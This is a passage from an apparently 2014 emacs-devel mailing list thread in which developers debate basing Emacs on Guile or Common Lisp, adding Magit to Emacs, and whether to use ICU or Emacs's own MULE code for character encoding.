and this has shaped the design of Guile, due to the primacy of Scheme in
the Guile implementation and community.

A concrete example: Common Lisp and Elisp both include almost identical
facilities for special variables. Guile Scheme doesn't; what it has are
fluids, a library for thread-local dynamic bindings independent of the
core Scheme language, which have a rather different interface. So that
looks like a win for Common Lisp and a point against Guile when it comes
to dynamic binding.

However, once you take into consideration the details of the apparently
slight gap between the languages, the overlap in design begins working
against you. Elisp provides various kinds of context-sensitive
variables, notably buffer-local variables, and thousands of packages
rely on the availability of this facility. But Common Lisp doesn't give
you the tools to implement it. What Common Lisp gives you is something
that has a strong resemblance to the corresponding part of Elisp, but
which isn't actually the same thing. And because it's a fundamental part
of the language, compilers that have been tuned for 20-30 years to
support a single standardized language optimize for a specific special
variable semantics. So, if you want to support buffer-local variables,
you have two basic choices:

(1) You can modify Common Lisp: first figure out exactly how special
variables are implemented in SBCL's compiler and runtime, how to extend
them to support Elisp semantics without breaking any legal Lisp
programs, and how to permit optimization of the use of standard special
variables without breaking the behavior of code using BLVs.

(2) Or you can DIY: implement your own special-variable library that
supports BLVs. Because Common Lisp defines a fixed high-level interface
for special variables, you won't get much help from the host language.
In this case, the apparent similarity between Elisp and Common Lisp
doesn't actually lead to shared functionality, and interaction between
the two languages will be less natural than it could be.

With Guile, the situation is different. When ad hoc extensions to core
functionality are necessary, the situation no worse than with Common
Lisp, and often better because Guile is typically more modular. But ad
hoc extensions often aren't necessary at all, because Guile takes a
fundamentally different approach to language design.

In the case of buffer-local variables, Guile provides delimited
continuations, which are powerful enough to implement both dynamic
binding and BLVs as libraries, without changing the semantics of Scheme
and therefore without disrupting the operation of other programs. Using
delimited continuations and a fluids library, one can implement
context-local bindings in under a hundred lines of code. A
proof-of-concept was presented at GHM 2011; a version compatible with
Elisp BLVs would probably expand to several hundred lines.

Another example: Common Lisp defines a standard package system that may
need extensions or modifications to work well with Elisp, while Guile
provides a module system designed for Scheme but also exposes enough of
the internal functionality to build other namespace systems. Guile-Elisp
makes use of this to compile a Lisp-2 dialect without any special
support from Guile, and it could be used as the basis for an
Elisp-specific module system.

And this pattern repeats over and over in the implementation of Elisp in
the context of a standard Common Lisp system. The small differences turn
out to matter; the family reunion becomes a feud. It's definitely
possible to port Emacs to a Common Lisp implementation; with enough work
and enough time, it could be done and done well. But it won't
necessarily be simple or straightforward, and it's unlikely to be easier
than porting Emacs to the Guile platform, a project which has progressed
from running standalone games of "dunnet.el" to supporting the complete
Emacs system with less than a person-year of work.

Scheme's turn towards minimalism may seem to be something of only
academic appeal, but it affords a freedom of expression that turns out
to be extremely practical. Guile gives you access to the fundamental
abstractions needed to express entire classes of high-level features,
and this makes it uniquely qualified to serve as a platform for multiple
Lisp dialects.

Robin
-- 
Inteligenta persono lernas la lingvon Esperanton rapide kaj facile.
Esperanto estas moderna, kultura lingvo por la mondo. Simpla, fleksebla,
belsona, Esperanto estas la praktika solvo de la problemo de universala
interkompreno. Lernu la interlingvon Esperanton!

Re: Emacs Lisp's future

[Emilio Lopes]

2014-09-19 2:03 GMT+02:00 Rasmus <rasmus@gmx.us>:
> Richard Stallman <rms@gnu.org> writes:
>> What is magit?
> […]
> It has so very nice features but it very git-centric.  For instance in
> the diff-view you can stash (precommit) only a subset of changed
> lines, effectively splitting your uncommited work into several patches
> easily.

An a side remark: I've tried magit sometime ago found it sluggish.

These days I'm pretty satisfied with the integration provided by `vc'
and git itself.
It's nice to read git's docs in `woman' when you write `git commit --help'.

For editing diffs, just use `git add -e' and you can use the excellent
(and underused) `diff-mode' to manipulate the patch your heart's
content.  Alternatively one can edit the output from `vc-diff' directly
and use `commit-patch'
(http://porkrind.org/missives/commit-patch-managing-your-mess) to
commit it out of the Emacs buffer.  This approach also works for svn,
bzr etc. btw.

Here is a trivial integration of `git grep':

    (defun git-grep (command-args)
      "Use the `grep' machinery to run `git grep'."
      (interactive
       (let ((sap (thing-at-point 'symbol))
             (grep-command "git grep -n "))
         (list (read-shell-command "Run git grep (like this): "
                                   (if sap (concat grep-command sap)
grep-command)))))
      (compilation-start (concat "< /dev/null " command-args) 'grep-mode))

 Emílio

Re: Emacs Lisp's future

[Robin Templeton]

Kristian Nygaard Jensen <freeduck@member.fsf.org> writes:

>> Of course, that's for the language side, but on the implementation side,
>> I don't really know what Common-Lisp implementation we could re-use
>> (both GNU implementations are dormant, so there's no manpower for us
>> tap into).  Still: there are many Common-Lisp implementations out there,
>> so there's probably one that could work for us.
>
> Embeddable Common-Lisp (http://sourceforge.net/projects/ecls/) seems
> alive, it is lgpl, so there would be no license issue

ECL's maintainer resigned last year:
<http://permalink.gmane.org/gmane.lisp.ecl.general/10264>. There have
been no releases since, and recent mailing list posts indicate that
there is no current maintainer.

-- 
Inteligenta persono lernas la lingvon Esperanton rapide kaj facile.
Esperanto estas moderna, kultura lingvo por la mondo. Simpla, fleksebla,
belsona, Esperanto estas la praktika solvo de la problemo de universala
interkompreno. Lernu la interlingvon Esperanton!

Re: Emacs Lisp's future

[David Kastrup]

Robin Templeton <robin@terpri.org> writes:

> Kristian Nygaard Jensen <freeduck@member.fsf.org> writes:
>
>>> Of course, that's for the language side, but on the implementation side,
>>> I don't really know what Common-Lisp implementation we could re-use
>>> (both GNU implementations are dormant, so there's no manpower for us
>>> tap into).  Still: there are many Common-Lisp implementations out there,
>>> so there's probably one that could work for us.
>>
>> Embeddable Common-Lisp (http://sourceforge.net/projects/ecls/) seems
>> alive, it is lgpl, so there would be no license issue
>
> ECL's maintainer resigned last year:
> <http://permalink.gmane.org/gmane.lisp.ecl.general/10264>. There have
> been no releases since, and recent mailing list posts indicate that
> there is no current maintainer.

While not an example for how to keep one's temper, in the course of
<URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=18520> I suggest that
Emacs buffers could be based on string ports with random access.

The basic idea here is, of course, that the fundamental operation of a
string port is adding unknown amounts of material "at point".
Personally, I think that there is a lot of potential to tie strings,
encodings, buffers, ports quite closely together in Emacs and Guile, and
part of that reason is that I consider Emacs' multinational
string/buffer/multibyte/unibyte handling a lot more mature in concepts
and implementation than that of GUILE.  Scheme does not prescribe a
whole lot regarding the details of character sets and string handling
(except that Scheme strings tend to have a stronger focus on being
rewritable, something that works pretty badly on variable-length
encodings but which Emacs purports to support at least using aset).  And
I think that the user and application pressure on Emacs/MULE in that
regard has in the time since Emacs 20 lead to pretty good solutions.

GUILE in particular has problems coming to grips about the difference
between "internal UTF-8 based encoding" and "external UTF-8 encoding
which might contain bytes violating the UTF-8 guarantees" and not having
unnecessary crossbleed between them.  Since Emacs historically had a
completely different internal multibyte encoding, it has kept those
apart much cleaner.

If GUILE wants to take over Emacs regarding its computing, I think it
first has to get itself infiltrated by Emacs' handling of strings and
buffers.  I have no idea whether this should go as far as to replace
iconv with CCL programs.  It would have the advantage of using actively
maintained and used GNU-controlled technology for the multi-language
stuff (and Emacs is rather good in that area), but I have no idea how
good a fit this could be.

At any rate: the Scheme standards leave a lot things open regarding
actual multinational character set and string support, and I feel that
the historic pressure of the text-based Emacs might have done a better
job so far of producing concepts and results that work well in practice
than what the GUILE developers were forced to work with regarding
foreign alphabets.

So instead of interfacing one to the other, I think GUILE has more to
win than to lose by adopting some of the Emacs concepts and data models
regarding text/string processing rather than designing its own.

-- 
David Kastrup

Re: Emacs Lisp's future

[Dmitry Antipov]

On 09/26/2014 06:15 PM, David Kastrup wrote:

> So instead of interfacing one to the other, I think GUILE has more to
> win than to lose by adopting some of the Emacs concepts and data models
> regarding text/string processing rather than designing its own.

Adopting Emacs?  Why not just use ICU?  This project's page claims about
"GPL-compatible" free license (http://userguide.icu-project.org/icufaq).

Dmitry

Re: Emacs Lisp's future

[David Kastrup]

Dmitry Antipov <dmantipov@yandex.ru> writes:

> On 09/26/2014 06:15 PM, David Kastrup wrote:
>
>> So instead of interfacing one to the other, I think GUILE has more to
>> win than to lose by adopting some of the Emacs concepts and data models
>> regarding text/string processing rather than designing its own.
>
> Adopting Emacs?  Why not just use ICU?  This project's page claims about
> "GPL-compatible" free license (http://userguide.icu-project.org/icufaq).

Because ICU is not under the control of the GNU project.  Whenever there
is a need that needs to be fulfilled, it is not a priority for ICU.  For
example, it is an error for ICU if some string cannot properly be
decoded.

Emacs is capable of decoding random byte strings "as utf-8" and reencode
them afterwards resulting in the original byte string, by using special
characters to indicate "undecodable byte".  This means that if you edit
some source code file where comments have been added in different
encodings, or which contains strings in several different encodings for
whatever reason, you can save the file afterwards and have it only
changed in those sections you actually edited, without any modifications
in sections you did not touch but which still had to go through decoding
on load and encoding on save.

For an editor, those are very important features.  For a third-party
library, stuff like that may not be a priority.

In addition, Emacs' string handling and encoding/reencoding has a longer
history than UTF-8 and most such libraries.  It's mature, and it
definitely fits Emacs' bill.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Fri, 26 Sep 2014 18:45:54 +0400
> From: Dmitry Antipov <dmantipov@yandex.ru>
> Cc: emacs-devel@gnu.org
> 
> Why not just use ICU?

Emacs needs to be able to extend the Unicode code-point space for raw
8-bit bytes and for a couple of character sets that are not unified.
Can ICU support that?  If not, we cannot base our implementation on
ICU without a lot of redesign.

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

>> Date: Fri, 26 Sep 2014 18:45:54 +0400
>> From: Dmitry Antipov <dmantipov@yandex.ru>
>> Cc: emacs-devel@gnu.org
>> 
>> Why not just use ICU?
>
> Emacs needs to be able to extend the Unicode code-point space for raw
> 8-bit bytes and for a couple of character sets that are not unified.
> Can ICU support that?  If not, we cannot base our implementation on
> ICU without a lot of redesign.

Well, the context here was the integration of Emacs and GUILE, and it
would be optimistic to think that efficient string/buffer handling will
not leave us with a lot of redesign either way.

Matching GUILE and Emacs allows us to compare and integrate the best
approaches from either side.  With ICU, it will always be "take it or
leave it".  It may be good enough.  If it isn't in some small respect,
getting it changed or fixed is not under our control.

-- 
David Kastrup

Re: Emacs Lisp's future

[Jonas Bernoulli]

>> And why is it not in Emacs?
> The current maintainer is Jonas Bernoulli (Cc)

Thanks for inviting me to the conversation.

Short answer: I agree that it would be desirable for Magit to be part of
Emacs or (less so) GNU Elpa. But I would like to delay this conversation
until after Magit 2.1.0 and Emacs 24.4 have been released, and the Emacs
repository has been migrated to Git.

Longer answer: I am to busy to tackle this now.  Also I don't think that
Magit should be added to Emacs asap, as a whole, and in its current form.

I have read the remarks about packages not having to be done before
being added to Elpa.  But currently not even a releasable version of
Magit exists.  The stable branch contains many known defects and the
development branch only very recently got to a point where a release
became imaginable.  But there are some serious bugs, and the
documentation for the numerous new and improved features is
non-existent).

Instead of adding Magit as is, I would rather add certain components of
Magit to Emacs itself (after sufficiently abstracting them) and move
certain functionality into libraries that are already part of Emacs.

Once Magit has been released I am also going write some new libraries to
be used by Magit but also VC and other packages, such as `git-handler'
(file handler for Git blobs and trees), `kit' (wrappers around Git
commands commonly used in Emacs packages), and `libgit' (the same thing
but using the yet-to-be-created ffi).  But right now I am busy getting
the development branch ready so that more than a dozen brave souls can
benefit from the work I have done this year.

  Best regards,
  Jonas

Re: Emacs Lisp's future

[Christopher Allan Webber]

Jonas Bernoulli writes:

> Instead of adding Magit as is, I would rather add certain components of
> Magit to Emacs itself (after sufficiently abstracting them) and move
> certain functionality into libraries that are already part of Emacs.

That would be great.  There are some features of magit that would be
really nice to have available for all packages by being bundled with
emacs.  The popup menu system is pretty much the best, for example.

 - Chris

Re: Emacs Lisp's future

[Stefan Monnier]

> I have read the remarks about packages not having to be done before
> being added to Elpa.  But currently not even a releasable version of
> Magit exists.

The right way to think about the `elpa' branch in Emacs is "github for
Elisp" rather than "retirement home for mature packages".  So indeed
code doesn't need to be "ready for release".  Magit has been in use for
many years now, so it's definitely ready for some kind of release,
whether you call it a "pretest release" or a "only for daredevils"
doesn't really matter, because many people seem quite happy using it.

> Instead of adding Magit as is, I would rather add certain components of
> Magit to Emacs itself (after sufficiently abstracting them) and move
> certain functionality into libraries that are already part of Emacs.

That can be done as well.  But there's no reason that one should
preclude the other.


        Stefan

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:
 > > Date: Fri, 26 Sep 2014 18:45:54 +0400
 > > From: Dmitry Antipov <dmantipov@yandex.ru>
 > > Cc: emacs-devel@gnu.org
 > > 
 > > Why not just use ICU?
 > 
 > Emacs needs to be able to extend the Unicode code-point space for raw
 > 8-bit bytes and for a couple of character sets that are not unified.

No, you don't.  There's plenty of private space for those purposes
(unless you know of private character sets that use more than two
whole planes?)  Emacs would simply use an indirect representation for
private space.  (That is, code points in private space are not
necessarily identical to the input code points, but rather are indexes
into an auxiliary table which implements the disjoint sum of the
private code spaces in use.)

Since this is private space, you need to build a table of attributes
for these characters (I/O representation, UCD properties, glyphs, etc)
anyway.  For Unicode input using private space, you just record that
as the I/O representation.

 > Can ICU support that?

Maybe it would be unhappy if you used a lone surrogate representation
(or other representation using integers outside of the Unicode
character space) for those "extended code points", but as proposed
above you can efficiently use private space in practice.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:
 > Dmitry Antipov <dmantipov@yandex.ru> writes:

 > > Adopting Emacs?  Why not just use ICU?  This project's page claims about
 > > "GPL-compatible" free license (http://userguide.icu-project.org/icufaq).
 > 
 > Because ICU is not under the control of the GNU project.

You can say the same about the Linux kernel, for example.
Nevertheless, the HURD has never made it to ready-for-prime-time
status.  At some point it's worth delegating maintenance of 99% of
your needs to another project, and Emacs has already been through the
Mule-to-Unicode internal encoding conversion.  Would you really wish
that on another project?

 > In addition, Emacs' string handling and encoding/reencoding has a
 > longer history than UTF-8 and most such libraries.  It's mature,
 > and it definitely fits Emacs' bill.

I really doubt it will take much effort to move Emacs to ICU (compared
to grafting Emacs's complex internal facilities onto another project).

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Eli Zaretskii writes:
>  > > Date: Fri, 26 Sep 2014 18:45:54 +0400
>  > > From: Dmitry Antipov <dmantipov@yandex.ru>
>  > > Cc: emacs-devel@gnu.org
>  > > 
>  > > Why not just use ICU?
>  > 
>  > Emacs needs to be able to extend the Unicode code-point space for raw
>  > 8-bit bytes and for a couple of character sets that are not unified.
>
> No, you don't.  There's plenty of private space for those purposes
> (unless you know of private character sets that use more than two
> whole planes?)  Emacs would simply use an indirect representation for
> private space.  (That is, code points in private space are not
> necessarily identical to the input code points, but rather are indexes
> into an auxiliary table which implements the disjoint sum of the
> private code spaces in use.)
>
> Since this is private space, you need to build a table of attributes
> for these characters (I/O representation, UCD properties, glyphs, etc)
> anyway.  For Unicode input using private space, you just record that
> as the I/O representation.
>
>  > Can ICU support that?
>
> Maybe it would be unhappy if you used a lone surrogate representation
> (or other representation using integers outside of the Unicode
> character space) for those "extended code points", but as proposed
> above you can efficiently use private space in practice.

Except that Emacs, as an editor, needs to support the private spaces
users might want to use.  Hijacking the surrogates is a reasonable
compromise.  Another would have been hijacking the 4-byte encodable code
space beyond Unicode character 1114111 that is outside of UTF-8 but
inside of the coding scheme's logic and thus working equally well for
string manipulations: however, that would cause unencodable bytes to
take up more space.  I think LuaTeX may use that strategy.

Being an editor, Emacs has to be more circumspect than most other
encoding-sensitive applications about what it may work with since
everything that is "private" may well be within the range that a user
wants to be able to put into string literals.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> David Kastrup writes:
>  > Dmitry Antipov <dmantipov@yandex.ru> writes:
>
>  > > Adopting Emacs?  Why not just use ICU?  This project's page claims about
>  > > "GPL-compatible" free license (http://userguide.icu-project.org/icufaq).
>  > 
>  > Because ICU is not under the control of the GNU project.
>
> You can say the same about the Linux kernel, for example.

The last time I looked, Emacs ran on more platforms than GNU/Linux.  We
don't have a tie-in here.

> Nevertheless, the HURD has never made it to ready-for-prime-time
> status.  At some point it's worth delegating maintenance of 99% of
> your needs to another project, and Emacs has already been through the
> Mule-to-Unicode internal encoding conversion.  Would you really wish
> that on another project?

The point is that "GUILE" and "Emacs" are slated to be linked, and that
will not happen if that would seriously degrade Emacs' usability for
working with texts.  It is a core capability of Emacs we are talking
about here.

>  > In addition, Emacs' string handling and encoding/reencoding has a
>  > longer history than UTF-8 and most such libraries.  It's mature,
>  > and it definitely fits Emacs' bill.
>
> I really doubt it will take much effort to move Emacs to ICU (compared
> to grafting Emacs's complex internal facilities onto another project).

If it would not take much effort, then it should be attempted
independently.  Only in that manner can one properly estimate the
respective performance, footprint, programming and compatibility impacts
independently from those of moving to GUILE.

But that still does not touch the problem of making a core tenet of
Emacs, one where Emacs needs to perform better and more versatile than
most other applications and where we are talking about much more
performance-relevant behavior than for most applications, depend on an
externally controlled and maintained library.

That's a particularly important reason for evaluating an ICU dependency
in a separate branch independent from GUILE first.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Date: Sat, 27 Sep 2014 17:35:12 +0900
> Cc: Dmitry Antipov <dmantipov@yandex.ru>, dak@gnu.org, emacs-devel@gnu.org
> 
> Eli Zaretskii writes:
>  > > Date: Fri, 26 Sep 2014 18:45:54 +0400
>  > > From: Dmitry Antipov <dmantipov@yandex.ru>
>  > > Cc: emacs-devel@gnu.org
>  > > 
>  > > Why not just use ICU?
>  > 
>  > Emacs needs to be able to extend the Unicode code-point space for raw
>  > 8-bit bytes and for a couple of character sets that are not unified.
> 
> No, you don't.  There's plenty of private space for those purposes
> (unless you know of private character sets that use more than two
> whole planes?)

I take it that you have studied the charsets for which we use
codepoints above 0x10FFFF, and concluded that they all fit in the
2*64K+6.4K PUA space provided by Unicode?  We have several quite large
character sets which need that (grep mule-conf.el for ":unify-map" to
see the list, and see etc/charsets/ for the map files).  I'm not sure
the PUA space is large enough, but I didn't sum all the numbers.

In any case, the question why we don't use PUA for this is best
addressed to Handa-san (CC'ed).

> Emacs would simply use an indirect representation for
> private space.  (That is, code points in private space are not
> necessarily identical to the input code points, but rather are indexes
> into an auxiliary table which implements the disjoint sum of the
> private code spaces in use.)

IIUC, this is a non-trivial complication.  Currently, our mapping is
set up so that we can keep the non-unified characters in our buffers,
while you propose indirection via tables.  This means, for example,
that direct access to char-tables will become slower.

> Since this is private space, you need to build a table of attributes
> for these characters (I/O representation, UCD properties, glyphs, etc)
> anyway.  For Unicode input using private space, you just record that
> as the I/O representation.

Yes, and the question is how well does ICU support setting up these.
I don't know the answer to that.

It is also not clear to me whether what you suggest will support the
internal representation of raw bytes and their conversion to and from
their external (a.k.a. "encoded") 8-bit values.

In any case, I agree that using ICU in Guile would be a huge step
forward, because currently they simply rely on the underlying libc,
which is only a more-or-less safe bet when libc is glibc; if not, the
results fall very short of what the user needs and Emacs expects.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > I take it that you have studied the charsets for which we use
 > codepoints above 0x10FFFF, and concluded that they all fit in the
 > 2*64K+6.4K PUA space provided by Unicode?

No, I've studied the coded character sets that are actually used by
real people in this world, and concluded that for practical purposes,
the Unicode coded character set plus the PUA permits representing all
of them satisfactorily for a TTY, and that the additional burden of
disambiguating them (eg, for font choice in a GUI) should be handled
by markup (eg, the XML lang attribute in text/* representations, and
text properties in Emacs).

 > We have several quite large character sets which need that (grep
 > mule-conf.el for ":unify-map" to see the list, and see
 > etc/charsets/ for the map files).  I'm not sure the PUA space is
 > large enough, but I didn't sum all the numbers.

If :unify-map really means that all of those character sets are mapped
injectively into the Emacs coded character set, OK, it's just Mule
code all over again.  Since CNS alone has about 80,000 characters in
it and that's just for a start, no, there is not enough space in the
Unicode PUA for complete (and mostly redundant) copies of a double
handful of Han character sets.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Eli Zaretskii writes:
>
>  > I take it that you have studied the charsets for which we use
>  > codepoints above 0x10FFFF, and concluded that they all fit in the
>  > 2*64K+6.4K PUA space provided by Unicode?
>
> No, I've studied the coded character sets that are actually used by
> real people in this world, and concluded that for practical purposes,

For practical purposes, real people use Microsoft Word.

> the Unicode coded character set plus the PUA permits representing all
> of them satisfactorily for a TTY, and that the additional burden of
> disambiguating them (eg, for font choice in a GUI) should be handled
> by markup (eg, the XML lang attribute in text/* representations, and
> text properties in Emacs).

Emacs has invested a lot of work and energy into getting encodings
right.  MULE was the principal reason for the last large migration of
Emacs users to XEmacs (around Emacs 20), and it was a significant reason
for a slow but steady migration trickle back when multinational
character sets became ubiquitous and the initial painful investment of
Emacs into them paid back in the form of a longer matured
implementation.  I remember XEmacs having an implementation of the
"works for real people for practical purposes" kind where the principal
maintainers do not appear to be fundamentally immersed in the problem
space.  Because those for which multinational character sets were an
essential feature went to work on and with Emacs instead.

Whether or not that's revisionism, I think that there is little doubt
that Emacs has a solid history of experience dealing with Far Eastern
character sets and texts.  The same cannot be said for R->L typesetting.
However, the problems specific to R->L typesetting are mostly not in the
character set and string handling area but rather concern the display
algorithms where we already found that supporting all the functionality
of Emacs is not well-supported by industry-standard solutions like
Pango.

In short, it is not likely we are talking about a no-brainer regarding
rebasing MULE on something else.  If we were, it would appear to me that
XEmacs would have had more to gain from such a step than Emacs, and
there is likely some reason that they chose not to do so.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: David Kastrup <dak@gnu.org>
> Cc: Eli Zaretskii <eliz@gnu.org>,  Kenichi Handa <handa@gnu.org>,  dmantipov@yandex.ru,  emacs-devel@gnu.org
> Date: Sat, 27 Sep 2014 13:13:26 +0200
> 
> However, the problems specific to R->L typesetting are mostly not in the
> character set and string handling area but rather concern the display
> algorithms where we already found that supporting all the functionality
> of Emacs is not well-supported by industry-standard solutions like
> Pango.

Only people who don't speak any of the R2L languages can seriously
claim that using Pango/Cairo is the way to support R2L in Emacs.
There are just too many quirks that Emacs needs for user satisfaction
that an external GP renderer can never provide.

Using Pango also means you are at the mercy of their developers as far
as bidi is concerned.  And it doesn't help that the development in
that area is not really "alive and kicking" as one would hope; e.g.,
the latest changes in UAX#9, released with Unicode 6.3 a year ago, are
still not supported in Pango or FriBidi.

Besides, using Pango means no bidi in text-mode frames.  (Some people
say this should be delegated to bidi-aware terminal emulators, like
PuTTY and some Linux-based emulator whose name I don't remember, but
that's again only because those people don't use the R2L scripts.
Doing bidi display for TTY Emacs this way is simply unworkable.)

Re: Emacs Lisp's future

[Stefan Monnier]

Could you move on to some other discussion?
I mean, it's not like this is a problem we need to fix now (if ever).
So let's cross this bridge when we get there.


        Stefan


>>>>> "Eli" == Eli Zaretskii <eliz@gnu.org> writes:

>> From: David Kastrup <dak@gnu.org>
>> Cc: Eli Zaretskii <eliz@gnu.org>,  Kenichi Handa <handa@gnu.org>,
>> dmantipov@yandex.ru,  emacs-devel@gnu.org
>> Date: Sat, 27 Sep 2014 13:13:26 +0200
>> 
>> However, the problems specific to R->L typesetting are mostly not in the
>> character set and string handling area but rather concern the display
>> algorithms where we already found that supporting all the functionality
>> of Emacs is not well-supported by industry-standard solutions like
>> Pango.

> Only people who don't speak any of the R2L languages can seriously
> claim that using Pango/Cairo is the way to support R2L in Emacs.
> There are just too many quirks that Emacs needs for user satisfaction
> that an external GP renderer can never provide.

> Using Pango also means you are at the mercy of their developers as far
> as bidi is concerned.  And it doesn't help that the development in
> that area is not really "alive and kicking" as one would hope; e.g.,
> the latest changes in UAX#9, released with Unicode 6.3 a year ago, are
> still not supported in Pango or FriBidi.

> Besides, using Pango means no bidi in text-mode frames.  (Some people
> say this should be delegated to bidi-aware terminal emulators, like
> PuTTY and some Linux-based emulator whose name I don't remember, but
> that's again only because those people don't use the R2L scripts.
> Doing bidi display for TTY Emacs this way is simply unworkable.)

Re: Emacs Lisp's future

[David Kastrup]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

> Could you move on to some other discussion?
> I mean, it's not like this is a problem we need to fix now (if ever).

Uh, Pango was an analogy example.  The actual question was whether Emacs
can or should delegate its character encoding/decoding processing (not
really significantly related to Pango but subject to similar
considerations) to GUILE's current mechanisms.  Which seem to be
libunistring via libiconv (both GNU libraries it would appear) rather
than the ICU mentioned elsewhere.

> So let's cross this bridge when we get there.

The GUILE bridge is there.  Robin Templeton's status of the port is that
it is mostly complete, with strings/buffers being the most notable part
obliterating acceptable performance via thick glue layers between Emacs'
and GUILE's different implementations of similar concepts.

Removing the thick glue layer requires that Emacs and GUILE strings (and
Emacs buffers and GUILE whatever) become exchangeable and offer the same
operations without impacting performance for either.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stefan Monnier]

>> Could you move on to some other discussion?
>> I mean, it's not like this is a problem we need to fix now (if ever).
> Uh, Pango was an analogy example.  The actual question was whether Emacs
> can or should delegate its character encoding/decoding processing (not
> really significantly related to Pango but subject to similar
> considerations) to GUILE's current mechanisms.  Which seem to be
> libunistring via libiconv (both GNU libraries it would appear) rather
> than the ICU mentioned elsewhere.

And, again: it's not like this is a problem we need to fix now (if ever).

> The GUILE bridge is there.  Robin Templeton's status of the port is that
> it is mostly complete, with strings/buffers being the most notable part
> obliterating acceptable performance via thick glue layers between Emacs'
> and GUILE's different implementations of similar concepts.

Do you know this to be a fact?  AFAIK, Guile-Emacs could perfectly live
with having Emacs buffers, Emacs strings, and Scheme strings, with no
extra cost, except when you *want* to convert between them (but as long
as you don't run any Scheme, you shouldn't need/want to do any such
conversion).


        Stefan

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > If it would not take much effort, then it should be attempted
 > independently.

Oh, it will.  But given what I've already got on my schedule, if I get
to it before Emacs does, shame on Emacs.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > In short, it is not likely we are talking about a no-brainer regarding
 > rebasing MULE on something else.  If we were, it would appear to me that
 > XEmacs would have had more to gain from such a step than Emacs, and
 > there is likely some reason that they chose not to do so.

The reason for using Mule code in XEmacs in the first place was that
by the time anybody who understood multilingual processing because
they suffered from from it, Sun had already awarded the contract to
Ben et al and it was a done deal.  Since then, we haven't fixed it
because I'm at best slow and mistake-prone as a programmer, and nobody
else really cares.  Believe me, I *want* to do it.

Re: Emacs Lisp's future

[David Kastrup]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

>>> Could you move on to some other discussion?
>>> I mean, it's not like this is a problem we need to fix now (if ever).
>> Uh, Pango was an analogy example.  The actual question was whether Emacs
>> can or should delegate its character encoding/decoding processing (not
>> really significantly related to Pango but subject to similar
>> considerations) to GUILE's current mechanisms.  Which seem to be
>> libunistring via libiconv (both GNU libraries it would appear) rather
>> than the ICU mentioned elsewhere.
>
> And, again: it's not like this is a problem we need to fix now (if ever).
>
>> The GUILE bridge is there.  Robin Templeton's status of the port is that
>> it is mostly complete, with strings/buffers being the most notable part
>> obliterating acceptable performance via thick glue layers between Emacs'
>> and GUILE's different implementations of similar concepts.
>
> Do you know this to be a fact?

<URL:http://www.emacswiki.org/emacs/GuileEmacs#toc9> is about keeping
them separate.

<URL:http://www.emacswiki.org/emacs/GuileEmacsTodo> lists "Unify Elisp
and Scheme strings".

I thought I read something from Robin about buffers/strings being a
performance issue, but searching on the respective developer lists
points rather to dynamic scopes and/or buffer-local variables.

> AFAIK, Guile-Emacs could perfectly live with having Emacs buffers,
> Emacs strings, and Scheme strings, with no extra cost, except when you
> *want* to convert between them (but as long as you don't run any
> Scheme, you shouldn't need/want to do any such conversion).

GUILE runs on a VM and obviously the native data types known to the VM
will be favored regarding its performance.  It may be that the cost of
processing strings is such that it will dominate the VM code processing,
but since one of the most fundamental data types of both Scheme and Lisp
are interned strings (namely symbols), I'd still expect quite a bit of
unnecessary churn when Emacs strings cannot just use GUILE primitives.
Not least of all maintaining two sets of primitives.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stefan Monnier]

>>> The GUILE bridge is there.  Robin Templeton's status of the port is that
>>> it is mostly complete, with strings/buffers being the most notable part
>>> obliterating acceptable performance via thick glue layers between Emacs'
>>> and GUILE's different implementations of similar concepts.
>> Do you know this to be a fact?
> <URL:http://www.emacswiki.org/emacs/GuileEmacs#toc9> is about keeping
> them separate.
> <URL:http://www.emacswiki.org/emacs/GuileEmacsTodo> lists "Unify Elisp
> and Scheme strings".
> I thought I read something from Robin about buffers/strings being a
> performance issue, but searching on the respective developer lists
> points rather to dynamic scopes and/or buffer-local variables.

IOW, you do *not* know for a fact that this lack of unification is
a current source of performance problems.
Thought so.


        Stefan

Re: Emacs Lisp's future

[David Kastrup]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

>>>> The GUILE bridge is there.  Robin Templeton's status of the port is that
>>>> it is mostly complete, with strings/buffers being the most notable part
>>>> obliterating acceptable performance via thick glue layers between Emacs'
>>>> and GUILE's different implementations of similar concepts.
>>> Do you know this to be a fact?
>> <URL:http://www.emacswiki.org/emacs/GuileEmacs#toc9> is about keeping
>> them separate.
>> <URL:http://www.emacswiki.org/emacs/GuileEmacsTodo> lists "Unify Elisp
>> and Scheme strings".
>> I thought I read something from Robin about buffers/strings being a
>> performance issue, but searching on the respective developer lists
>> points rather to dynamic scopes and/or buffer-local variables.
>
> IOW, you do *not* know for a fact that this lack of unification is
> a current source of performance problems.
> Thought so.

Shrug.  I'm currently working on integrating GUILE 2.0 into LilyPond,
and GUILE 2.0 has Unicode strings which are either UCS-8 or UCS-32 in
the strings and UTF-8 in string ports (which are sort of like Emacs
buffers on steroid withdrawal).  So at the current point of time, Emacs
and GUILE strings would need reencoding/decoding at every call gate
anyway as long as string access is not abstracted well enough in the
Emacs code base that the different internal coding would not require
code changes.  The VM costs would be negligible in comparison with that.

I don't think that having to retain a separate implementation of strings
in Emacs makes much sense in the course of integrating GUILE and Emacs.
"reencode at every call gate" is not feasible for tight interaction, and
